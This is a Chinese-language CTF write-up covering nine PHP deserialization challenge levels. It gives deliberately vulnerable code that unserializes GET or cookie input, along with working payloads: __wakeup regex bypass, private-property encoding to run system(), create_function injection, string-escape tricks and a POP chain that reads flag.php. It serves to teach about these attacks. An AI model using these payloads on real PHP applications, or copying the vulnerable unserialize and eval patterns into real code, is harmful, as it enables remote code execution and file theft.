一.第一关(基础序列化)
php
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
一个很基础的反序列过程
对输入的flag进行反序列化,再调用action的方法
然后解释eval任意执行
二.第二关(__construct魔术方法)
php
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
__construct : 在创建对象时候初始化对象。
__destruct : 当对象所在函数调用完毕后执行一般用于对变量赋初值或者在对象被销毁的时候触发
写一个php程序把他序列化
php
<?php
class mylogin{
var $user ;
var $pass ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$a = new mylogin("daydream","ok");
var_dump(serialize($a));
?>
三.第三关(cookie传参)
php
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
与上一关的差别在与是cookie传参,只需要抓包修改cookie即可
四.第四关(create_function)
php
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
这里还用到一个php特性------Array
当array内包裹的第一个值是对象,第二个是对象内的方法时
在反序列化后会调用该对象的方法
php
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>
action是写入create_function为下面创造方法
code是为了闭合方法再进行文件包含读取flag
五.第五关(__wakeup)
php
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){//判断是否存在
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){//进行正则匹配
echo "Are you daydreaming?";
}
else{
unserialize($cmd);//反序列化
}
}
//sercet in flag.php
?>
__wakeup():当反序列化恢复对象之前调用该方法
也就算是出现
o:数字 或者 c:数字
就会直接终止,所以我们就要绕过这个匹配,在序列化后也就是在0:6中6的前面加上一个符号使其不被匹配上所以就有了payload
playload:'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'
六.第六关(私有属性)
php
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性
private属性序列化的时候格式是 %00类名%00成员名
所以要用\00代替%00实现绕过
php
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";
php
playload:O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
与小写"s"不同,大写"S"表示键名或属性名是区分大小写的。
七.第七关(类中类反序列化)
php
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>
在you类中,有一个destruct方法,内将pro赋值给变量project再调用本类中的body中的project
说明body应该是一个类且project是指要调用该类内的方法
另外有一个魔术方法__call:当调用对象中不存在的方法会自动调用该方法
php
$this->body->$project();
先让body成为my类里的,在让body去调用project,因为my类里没有project所以会调用__call方法
在把myname的值赋给body,yourname的值赋给pro就可以了
php
playload:'O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}';
八. 第八关(增量逃逸)
php
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
具体:PHP反序列化------字符逃逸漏洞(肯定能看懂的!)_php {i:1;s:65:''}-CSDN博客
php
playload:O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
- 当字符增多:在输入的时候再加上精心构造的字符。经过过滤函数,字符变多之后,就把我们构造的给挤出来。从而实现字符逃逸
- 当字符减少:在输入的时候再加上精心构造的字符。经过过滤函数,字符减少后,会把原有的吞掉,使构造的字符实现代替
九.第九关(POP构造链)
php
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
php
Modifier类:
append方法:接收一个文件名作为参数,尝试包含该文件,并打印出$flag变量。
__invoke方法:调用append方法,传入$this->var的值。
Show类:
__toString方法:返回$this->str->source的值,这里$str应该是另一个对象,且该对象需要有一个source属性。
__wakeup方法:当对象被反序列化时调用,这里我们可以暂时忽略它,因为它不直接用于构造pop链。
Test类:
__get方法:当尝试访问类中不存在的属性时调用,它会尝试将$this->p(一个数组)作为函数调用。这意味着$this->p需要被设置为一个闭包(匿名函数)或其他可调用的对象。
-
用户输入 :
用户通过GET请求发送一个经过序列化的字符串到
$_GET['pop']
。这个字符串应该是一个对象序列化的结果,该对象会触发一系列的魔术方法调用。 -
反序列化 :
unserialize($_GET['pop'])
将用户提供的序列化字符串转换回PHP对象。我们需要构造一个对象,该对象在反序列化时会触发__wakeup
等魔术方法。 -
Show类与__wakeup :
虽然
__wakeup
方法本身在这里可能不是直接触发漏洞的关键(因为它只是打印$this->source
),但它可以用于设置或初始化对象的属性。然而,在我们的场景中,更关键的是__toString
方法。 -
Show类与__toString :
当
Show
对象被当作字符串处理时(比如在echo或字符串连接操作中),__toString
方法会被调用。在这个方法中,我们尝试访问$this->str->source
。这里,$this->str
应该是一个对象,且该对象有一个source
属性。但是,为了触发__get
,我们实际上需要$this->str
是Test
类的一个实例。 -
Test类与__get :
当尝试访问
Test
类实例的未定义属性时,__get
方法会被调用。在这个方法中,我们期望$this->p
是一个可调用的函数或闭包。但是,由于我们的目标是触发Modifier
类的append
方法,我们需要将$this->p
设置为一个Modifier
实例,并且该实例的var
属性应该被设置为我们要包含的文件名(如"flag.php"
)。 -
Modifier类与__invoke:
php <?php class Modifier { private $var="flag.php"; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; //这是个调用函数p的方式 return $function(); } } $a=new Modifier(); $b=new show(); $c=new Test(); $b->source=$b; //把show类当成字符串赋值给属性source从而触发to_string $b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get $c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发 ?>